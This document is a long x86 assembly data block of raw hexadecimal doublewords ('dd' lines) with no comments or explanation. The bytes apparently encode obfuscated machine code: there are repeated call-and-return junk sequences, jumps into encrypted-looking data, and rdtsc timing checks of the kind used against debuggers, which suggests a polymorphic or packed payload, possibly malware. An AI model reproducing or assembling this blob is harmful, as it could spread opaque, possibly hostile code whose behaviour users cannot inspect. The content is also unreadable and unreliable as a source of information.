dd 0BF0F6140h, 0CEBD83FEh, 5ECBAh, 439840Fh, 0BE80000h
dd 4F000000h, 95A243DAh, 3B3EFBB5h, 0F605753h, 85h, 49950300h
dd 6105E900h, 0CEB5FF5Fh, 0FF05ECBAh, 0E92B7595h, 55006A05h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 63F092B6h, 8B6651FCh, 0B58B5BFBh, 5ECBAC2h, 38B0Fh
dd 8B660000h, 106C7F9h, 6A000100h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 1A93C356h
dd 65E03379h, 0BD01FC8Ah, 5E903D5h, 850F6096h, 15h, 0FE8h
dd 0DEF3D200h, 6FAE907Dh, 0C0B55857h, 149D269Bh, 9650615Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0AEC35545h
dd 745B2D98h, 89B14B5Ah, 0E90CC58Dh, 8E905h, 430B0000h
dd 0C9FDEF9Dh, 0B5FF9252h, 5ECBACEh, 4D95FFF9h, 8B05E92Bh
dd 0E928CDBDh, 0C2B58B05h, 6A05ECBAh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 2E6FC353h
dd 0B0FD345Dh, 0DC3EDF81h, 858B50E4h, 5E90FDDh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0A2C35343h, 58E0Fh
dd 34BF0000h, 896B8BF0h, 0C486h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 958B2A71h
dd 5E92655h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Bh, 41C35545h, 23BCEFD6h, 66FDFF53h, 26ACF81h, 6A04C283h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 4E5DC356h, 577D4FAFh, 0F46FF16h, 38Eh, 0FDD78000h
dd 205089F8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 3EC35141h, 93F6D829h, 3016AE99h, 0C9BD896Ah, 8D05E92Dh
dd 0ECD05585h, 50006A05h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 66F2D389h, 8834426Dh, 4AEF809Ah, 12E9h, 0E394BE00h
dd 0EE931DB6h, 0D87105C7h, 0D819E7AEh, 896D9F46h, 0B886h
dd 55850900h, 6A05E906h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 855732F8h, 49BD2BB2h
dd 0FF05E916h, 0ECBACEB5h, 9589FC05h, 5E92D69h, 0AD95FFh
dd 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 0BBC97C3h, 0D098DBFAh, 505B5296h, 0F98B6696h
dd 0BACEB5FFh, 6A05ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 0E9228CC3h, 69C868BEh, 1D8D9D8Bh
dd 9CBB05E9h, 0E96F18ECh, 11h, 0CA593E29h, 6EED83C3h, 7F6B9C0Bh
dd 891F19F4h, 3195FF34h, 6A05E932h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0D2F6C352h
dd 9D89BD17h, 5E90DC1h, 0BD83FE8Ah, 5E92AB1h, 43840F00h
dd 66000000h, 8D89FA8Bh, 5E91F19h, 0DE950h, 53900000h
dd 20660FDAh, 0D9BE6824h, 898E3E84h, 6A2434h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 43B5EDC3h
dd 865B6767h, 0B5FFAA77h, 5ECBACEh, 191D8589h, 95FF05E9h
dd 5E92F61h, 3BD1BB66h, 0BACEB5FFh, 5E905ECh, 0D6000000h
dd 9E551DD8h, 2DC595FFh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 381060C3h, 0D4D38149h
dd 0E949F728h, 6, 9FC2B851h, 0BD837A09h, 5E903FDh, 38840F02h
dd 89000000h, 0E907C5B5h, 55858B05h, 6A05E930h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 35EAC350h, 0D03E208h, 8B0000C6h, 0F2DB81D8h, 0C7356D79h
dd 0E927A985h, 5, 68B0F00h, 1000000h, 0E9306D9Dh, 39950105h
dd 0E905E929h, 0FFFFF20Eh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 2EC35141h, 644588E5h, 0FFBF0F17h, 6AC18Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 11D537C3h, 858DE293h, 5E921E5h, 2D699589h, 9D8B05E9h
dd 5E92245h, 14E890h, 55CB0000h, 4290C1BCh, 0B9AE3239h
dd 8CF70187h, 30CA1439h, 0AE87A7Eh, 9C000000h, 2349CFBDh
dd 0B501554Eh, 505B5B4Fh, 5216BF60h, 52503182h, 0FFE8B66h
dd 0C78B6631h, 9061585Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 2CC35242h, 0DE8A8EE3h, 0AE8006Ah, 2000000h
dd 8A6D3ED5h, 0F00AFA78h, 4B35F0Bh, 5B51006Ah, 0A80E858Dh
dd 6A05EDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 0F7879C3h, 0C083FABFh, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 6D5F351Bh
dd 4F19C4E1h, 0B5897E47h, 5E92F4Dh, 0A0BB6690h, 46BF50A2h
dd 9069455Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 0F5C35040h, 0FBAE289h, 6ADEBFh, 3BEB8166h, 8B006A74h
dd 0E90FA99Dh, 0A195FF05h, 6A05E90Ah, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 6D60C356h
dd 0BF8D8DCCh, 6A05ECADh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 61DAC356h, 0CD5E6169h
dd 0D1FF59CFh, 245DBD8Bh, 0BD8305E9h, 5E901BDh, 64850F01h
dd 89000000h, 0E931619Dh, 0FC026A05h, 0CA8A6050h, 8961E28Ah
dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 0E96066C3h, 0Bh, 2C8806A0h, 5CB3DFBDh, 61D179E8h
dd 0AD95FFh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 0E93A6AC3h, 0E24h, 0E8h, 0ED815D00h
dd 5EDA818h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 3C35646h, 5394F2Bh, 6A38B3h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 1B73D3C3h
dd 8DF86265h, 0EC904B85h, 0DFB70F05h, 0DF8B6090h, 14E95061h
dd 0B5000000h, 0F160E8ADh, 20A56E9Fh, 26BD7DEDh, 0EE3C0D9Fh
dd 90BAA0FAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 0BFC35343h, 9804750Fh, 0D07FA7B3h, 0FEAABF1Bh
dd 0FF6428E8h, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 5736CEA5h, 3B1BD89h, 645F05E9h
dd 2589h, 58BB0000h, 0FF1C8734h, 0E9068985h, 53006A05h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 58FF08A8h, 0DD31684Dh, 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 0EEAE61C3h, 16AAEF74h
dd 890F54h, 0FF000000h, 0E910E9B5h, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 8AF10547h
dd 9B589F4h, 0FF05E912h, 0E907C995h, 137E905h, 0BF0F0000h
dd 3D9D2BDEh, 0B005E930h, 0C8E0F00h, 0F000000h, 68Ah, 11BD0100h
dd 0E605E931h, 0E4D88B70h, 1C810F71h, 0E8000000h, 10h
dd 0B49E75Eh, 32865CD1h, 7C9D3E05h, 0DDCAFB61h, 23DBD8Bh
dd 3C5B05E9h, 0EA830F61h, 89000000h, 0E90E7D95h, 0C8B60F05h
dd 82BF6651h, 6BA5BA2h, 89000000h, 0E932BD9Dh, 60C18B05h
dd 0EE96BB4h, 17000000h, 0E8F2F51Ah, 5EC5C0BFh, 28DFAC49h
dd 0E8C16178h, 12C78004h, 57E2F766h, 5FF88B66h, 9D8BC82Bh
dd 5E90499h, 0BD8BD18Bh, 5E918D1h, 2E9h, 8B5F5700h, 0E90B4185h
dd 619D0905h, 6605E918h, 0C083DA8Bh, 4EC6BF07h, 0C0830307h
dd 0D88B6600h, 830FD03Bh, 34h, 0FE960h, 1DE20000h, 54B78827h
dd 7D49A113h, 848AA61h, 0BE91Fh, 3E1B0000h, 0E5252F5Bh
dd 0BD5A1EBDh, 42E961ADh, 0F000000h, 9589F8B7h, 5E92949h
dd 1E198D8Bh, 8B6605E9h, 1E183DFh, 27840Fh, 8D290000h
dd 5E91F89h, 1E19A583h, 66FE05E9h, 9D8BF88Bh, 5E928B1h
dd 0B419589h, 9D8B05E9h, 5E92F45h, 0E9h, 9EB58D00h, 8905ED1Dh
dd 0E9162985h, 830F6005h, 6, 5C59531h, 9D8905E9h, 5E91941h
dd 6A006A61h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 0F57EC353h, 1935B509h, 95FF05E9h
dd 5E91E95h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 21C35545h, 983C57F3h, 0BF66527Bh, 0B95F0BF5h, 828h
dd 1A70C2BFh, 819D8918h, 8305E92Ah, 6AFCE1h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 145695C3h
dd 104B1BC9h, 0FBA893Dh, 0BD8BDFBFh, 5E92745h, 0B19589FCh
dd 0B805E90Dh, 0
dd 78A0Fh, 810F0000h, 1, 0E9D22BF8h, 0Ah, 0F594F822h, 31FC8C4Ch
dd 33ADCAA9h, 3E8D1C2h, 4E983D0h, 0F53F475h, 1183h, 0CE900h
dd 81070000h, 0FD647B81h, 0E8A44FE0h, 0E85B97F1h, 5, 30496A40h
dd 880D5FE7h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 71E3C351h, 88687EAEh
dd 0BB9BA3CEh, 2655958Bh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 0BD8B2EC3h, 5E92A2Dh
dd 8058D8Bh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 0B82FC3h, 224B3D8Ah, 12499D8Bh
dd 8B5005E9h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 5B19D29h, 840F05E9h, 5, 0DEBF0F56h, 0F1BD835Fh, 5E91Ch
dd 0BC840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 0F86C4DC3h, 9E9h, 7735C300h, 0E0E00893h
dd 12E82708h, 82000000h, 0A27D100Bh, 0DECB72FFh, 0BDC82CC5h
dd 89FD2F43h, 9D89567Ah, 5E91805h, 0B85B5Bh, 0F000000h
dd 0B87h, 0BF0F6000h, 0C98589F6h, 6105E91Dh, 30B59589h
dd 8D8D05E9h, 5E94E6Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 0A2C35747h, 0B711681h, 0A0D78099h, 6AE1FFh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 0FBD2D2C3h, 137FE00Dh, 0E3816622h, 0BD8348CDh, 5E9163Dh
dd 2A840F00h, 0F000004h, 0BD83FAB7h, 5E9163Dh, 35840F01h
dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 0D14CC350h, 3DBD839Fh, 305E916h
dd 3D4860Fh, 0BB660000h, 6A608260h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0D4E6C351h
dd 0AC4BC82h, 2DBD9D8Bh, 8C6605E9h, 0B99D2BD9h, 8005E904h
dd 6A04E1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 6AD793C3h, 9EB87DF6h, 0AF8D07Dh, 90840FC9h
dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 0CFA5C353h, 0B8AFA1C1h, 4237DD80h
dd 618D8960h, 8A05E918h, 858B61D1h, 5E92869h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 7CC35040h, 67981805h
dd 8971C222h, 0E90E59B5h, 61853305h, 8905E90Eh, 0E92EA59Dh
dd 4895005h, 0DBB70F24h, 8589006Ah, 5E905F9h, 4E8h, 1F03FF00h
dd 52505000h, 5250310Fh, 310FFA8Bh, 585A6160h, 448B585Ah
dd 0BF660424h, 8B43E9h, 89DE8B66h, 66042444h, 6A58D98Bh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 8853C355h, 98D58CF3h, 0FF6552BAh, 0E9292D95h
dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 0CB026C4h, 10E956h, 78EC0000h, 0E821B27Ch
dd 89D9ED04h, 0DDC6393Eh, 890F58EDh, 6, 171D8D89h, 858905E9h
dd 5ECBACEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 95C35343h, 0E8A2DC5Bh, 0D71B358Fh, 0F59D0957h
dd 5F05E908h, 19FE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 9D99303Bh, 830F6D7Dh
dd 19h, 138F0Fh, 0DE80000h, 0CC000000h, 3594B863h, 14428D92h
dd 0E4ED9185h, 25BD8B5Bh, 8B05E92Bh, 0ECBAC685h, 50006A05h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 97DD20B5h, 8BABA71Fh, 0E917159Dh, 0AE905h, 446F0000h
dd 0A3F6286Dh, 0E0F73543h, 1800C7h, 9D8B0000h, 5E93101h
dd 0BACAB58Bh, 8D0F05ECh, 0
dd 2F39858Bh, 89F905E9h, 0D98D0106h, 8B05E90Bh, 0E9286985h
dd 5E805h, 0FFF10000h, 8B0F35CBh, 0E90085BDh, 46895F05h
dd 5AB2BF04h, 50503EB3h, 2434895Bh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 8EC35747h, 98E090CFh, 536024DFh
dd 0B73E7ABBh, 0BF0F5B09h, 64B761F7h, 0BAC6B5FFh, 6A05ECh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 64B367C3h, 0BFA4B4B5h, 499D89ACh, 6805E903h, 1A829957h
dd 3481F3B7h, 9D9AA824h, 6D95891Ah, 8D05E919h, 0ECBACE85h
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 53E3DF2Dh, 0FFBB66BFh, 14E99067h, 0FB000000h
dd 528D22C8h, 9946EA2Eh, 1B17005Bh, 2430F0C9h, 50D4B6F8h
dd 0F525053h, 5A616031h, 0F905F58h, 95FFD8B7h, 5E9292Dh
dd 5FDA8B51h, 50006A61h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1704h, 0C3504000h, 77010787h, 163D85C7h, 305E9h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0FDC756C3h, 1EBCBF66h, 7F1EDB81h, 0BD834C32h, 5ECBACEh
dd 27840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 4E11C350h, 0E2CD433Bh
dd 1BE9D6h, 30500000h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 14B261F5h, 385E1235h
dd 0BF0F9097h, 95BD0BD9h, 8305E925h, 0E9163DBDh, 850F0305h
dd 404h, 0BD83D88Ah, 5ECBACEh, 0F5840F00h, 6A000003h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0D88C351h, 15C9267Fh, 0DC6535F9h, 1BD8BF5h, 0FF05E91Fh
dd 0ECBACEB5h, 50006A05h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 0FFA1ABC7h, 0E92B7595h
dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 59CEDE92h, 7711F1FAh, 0C2B58BCFh, 6605ECBAh
dd 0DE62CF81h, 106C7h, 0BD030001h, 5E92EA9h, 4890F96h
dd 66000000h, 5077F9BBh, 0DE996h, 0DD850000h, 712CBCAAh
dd 0A9A173C1h, 29A09DDAh, 0E92B398Dh, 0CEB5FF05h, 0F05ECBAh
dd 28Fh, 0FFFB8B00h, 0E92B4D95h, 45BD2905h, 8105E932h
dd 878CA6C3h, 0C2B58B3Ah, 6A05ECBAh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0DB11C351h
dd 0FDD858Bh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 0D8A93FC3h, 8BF7CD76h, 0E907FDBDh
dd 0C4868905h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 2E88C352h, 0B1A956E0h
dd 8167F41Dh, 0C42504CBh, 219D8B35h, 8B05E905h, 0E9265595h
dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 5E42BFDAh, 0A9F78166h, 4C283FCh, 41F38056h
dd 2050895Fh, 499FBB66h, 0D055858Dh, 6A05ECh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 0E172CDC3h
dd 8155BF63h, 0C9BD71D3h, 0B886892Bh, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 0BF50C352h, 6A006AB8h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 5BD1C355h, 0C2E5E8D8h
dd 0FA6C04Ah, 68Fh, 9DB52900h, 0FF05E906h, 0ECBACEB5h
dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 0B5895066h, 5E90C81h, 0AD95FFh, 0C38105E9h
dd 5389CE4Fh, 0CAABF50h, 34895C7Ah, 51006A24h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 9E97C623h
dd 853195C2h, 5E90F31h, 0BACEB5FFh, 816605ECh, 0FFD9EAF7h
dd 0E9323195h, 5CF38105h, 83378EB1h, 0E92AB1BDh, 840F0005h
dd 52h, 2295BD8Bh, 0F9605E9h, 0C81h, 7E900h, 86770000h
dd 2148896Bh, 52505026h, 0B82ABF66h, 0BB66310Fh, 585A9424h
dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 5E9764Ch, 0F3000000h, 4D50CAB4h, 0B5FFD88Bh
dd 5ECBACEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 7C35646h, 16F884B3h, 48B0F8Ah, 66000000h, 0FF32CABFh
dd 0E92F6195h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 6DCDE4C1h, 0BBD3C657h
dd 0B19C36Fh, 0BACEB5FFh, 6A05ECh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 14E9C0C3h, 0AE000000h
dd 0DEDF0BCh, 0D92B592h, 0F7972591h, 776A2ED2h, 0FFD8B5Eh
dd 95FFDAB7h, 5E92DC5h, 3FDBD83h, 0F0205E9h, 2484h, 0EEC38100h
dd 8B07DA09h, 0E9305585h, 10E905h, 0E2420000h, 0B3A438C5h
dd 0B86F49F3h, 0E31C44C0h, 0C6A2BEh, 0A985C700h, 5E927h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 0DBBCC351h, 450B3DCAh, 0D5CBDF45h
dd 0FFF33BE9h, 14E8FFh, 4C0D0000h, 14F0384h, 290271EFh
dd 330D7494h, 5BB98AB4h, 11BFFDE0h, 5B5285B9h, 6AC18BF9h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 2994C357h, 9ED1E46h, 0E91D69B5h, 0DFB70F05h
dd 0BE9h, 43975100h, 0B3A32609h, 870BE740h, 21E5858Dh
dd 0BD8B05E9h, 5E92B49h, 24048950h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 0C5C35040h, 0D88B006Ah, 0BD8B006Ah
dd 5E91E11h, 0B86B858Dh, 6A05EDh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 7F6E4C3h, 4A5C3506h
dd 1CD19D8Bh, 816605E9h, 8369DDDFh, 6A05C0h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0DC071CC3h
dd 0CD07C3AEh, 50D98B90h, 0F59043B3h, 8B66006Ah, 0B58956DAh
dd 5E910F1h, 6A006A5Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 0DB5DC352h, 8D0FD98Bh
dd 2, 95FFFA8Bh, 5E90AA1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 83C35646h, 0AE91B490h, 0ADBF8D8Dh, 6A05ECh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 581F22C3h, 0FF6DA5EDh, 12E9h, 5F9B7700h, 0F8176773h
dd 0E3B63133h, 9EEA1618h, 0FFAAA83Fh, 0DE9D1h, 87370000h
dd 5A769BFh, 0D144A311h, 0E9D8BDA7h, 14h, 40BC1E47h, 54944956h
dd 5B48531Eh, 0B0FB5C1h, 0F48E5BEFh, 1BDBD83h, 0F0105E9h
dd 0C785h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h
dd 0C3514100h, 81BB64E9h, 0DAB38EDFh, 7DB58928h, 6A05E910h
dd 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 4A1289C5h, 0BD8BFE30h, 5E9050Dh, 0DA8B6690h
dd 66605750h, 8B5AB8BAh, 905F61F3h, 7E8h, 0B6D62600h, 9A91082Ah
dd 665BDD8Ah, 7A35F381h, 0AD95FFh, 6A05E9h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 941F4EC3h
dd 0AE852h, 0C01D0000h, 0FB94F673h, 0BC477DBFh, 0EE8h
dd 4864A800h, 0CEF08732h, 39130CDBh, 2980C381h, 0E900859Dh
dd 0F55B5F05h, 0D85E9h, 0E800h, 815D0000h, 0EDB875EDh
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 0BD0001C6h, 3109B509h, 9D8905E9h, 5E932C1h
dd 18E19D8Bh, 858D05E9h, 5EC904Bh, 0CE5BD8Bh, 509005E9h
dd 0CE8h, 0FC0A900h, 0ECBC26Ch, 63F092B6h, 0CE9FCh, 0A4AE0000h
dd 14BCB2D9h, 0DB639D6Fh, 905B2D43h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 2BC35040h, 0CACD9B7Dh, 0BDBDEAFFh
dd 35FF64E6h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 40C35545h
dd 54944956h, 27F38166h, 9EF81CCh, 640DDBCEh, 2589h, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 4A488CC3h, 7B22B6DEh, 5E9h, 6A108200h, 85FF9CF9h, 5E90689h
dd 18D9D89h, 0FF6A05E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 0ECC35545h, 0B698589h, 0B5FF05E9h, 5E903F5h
dd 18319D8Bh, 95FF05E9h, 5E907C9h, 0EFE9h, 0F7816600h
dd 0B07A42h, 800Fh, 70E60000h, 24B98D09h, 71E405E9h, 7E8h
dd 8AA3AF00h, 0E4AC205Eh, 205BD8Bh, 3C5B05E9h, 0BD830F61h
dd 8B000000h, 0C8B60FDEh, 3A99D8Bh, 6BA05E9h, 31000000h
dd 0E91DE58Dh, 51C18B05h, 21F99D89h, 0C15B05E9h, 9D8B04E8h
dd 5E90785h, 2BE2F766h, 319589C8h, 8B05E90Dh, 0D8BF0FD1h
dd 7FE9h, 0B59D0B00h, 8B05E932h, 885h, 0FDBD0100h, 8305E91Dh
dd 9D8B07C0h, 5E91EF5h, 8B00C083h, 0E90331BDh, 0FD03B05h
dd 1D83h, 0BA666000h, 958B24D0h, 5E90B55h, 42E961h, 840F0000h
dd 6, 2C1DBD8Bh, 8D8B05E9h, 0FFFFFFFFh, 0D7AFBB66h, 0F01E183h
dd 2384h, 68E38100h, 83375C6Fh, 0FFFFFFA5h, 0BD8BFEFFh
dd 5E905B1h, 89589h, 81660000h, 0E91305F7h, 0
dd 37A9B58Dh, 6A05EDh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 0D863ACC3h, 0E88350E0h, 89A1A9E6h
dd 0E912219Dh, 6A006A05h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 0A68CC355h, 419D8B7Eh
dd 8B05E900h, 0E92FDDBDh, 9595FF05h, 6A05E91Eh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 0A99C357h, 0BF6649DDh, 9AB9BAB2h, 6A000010h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 8316C355h, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 45C5C1C3h, 0F381665Fh, 33FC8DB5h
dd 0E9070D9Dh, 66C02B05h, 0E9F228BFh, 0Eh, 2C9ED988h, 88E2D7FBh
dd 0FA3E268h, 0D22B4489h, 0D1C233ADh, 83D003E8h, 0F47504E9h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 49C35747h
dd 0F0DACA66h, 0B550C2BBh, 8D8960FCh, 5E93269h, 12E8h
dd 257DA500h, 0D8094D0Bh, 3CDF60D6h, 0D318D640h, 0F8D2F53h
dd 83h, 0F615900h, 880DFFBFh, 0E9000000h, 0Dh, 7D42EC05h
dd 3CBC1AECh, 56DAA80Fh, 55958B23h, 8B05E926h, 0E91DC99Dh
dd 58D8B05h, 8905E908h, 0E926459Dh, 0C28B5005h, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 83F195BBh, 0E91CF1BDh
dd 840F0005h, 42h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 0C8C35141h, 0CFB9A621h, 8B66B095h, 0B8FBh
dd 7EBF0000h, 8D7C90C4h, 0E94E6D8Dh, 8C1ABB05h, 0E1FF61A5h
dd 0B49B529h, 0BD8305E9h, 5E9163Dh, 0A6840F00h, 0E9000004h
dd 8, 7F6E414h, 4A5C3506h, 163DBD83h, 0F0105E9h, 4A784h
dd 0C9BD8B00h, 8B05E90Ah, 0E901CDBDh, 3DBD8305h, 305E916h
dd 458860Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 79D298C3h, 6067C5BBh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0FEC35040h, 7AB4E3F2h
dd 0D98C66F8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0E2C35141h, 63C8C283h, 8D297694h, 5E910A5h, 6A04E180h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 0E44DC351h, 0A5852949h, 0A05E917h, 34840FC9h
dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 9C3CC355h, 8B66A5AAh, 69858BFBh
dd 8905E928h, 0E90EAD95h, 61853305h, 6605E90Eh, 5250FE8Bh
dd 0BE860h, 8690000h, 7C0449E6h, 0EB43999Eh, 52505FFAh
dd 585A310Fh, 4895B61h, 0ADB52924h, 6A05E91Dh, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 775E0B40h, 4D55E2F2h, 7E8h, 87F21A00h, 9690F530h, 32D59D03h
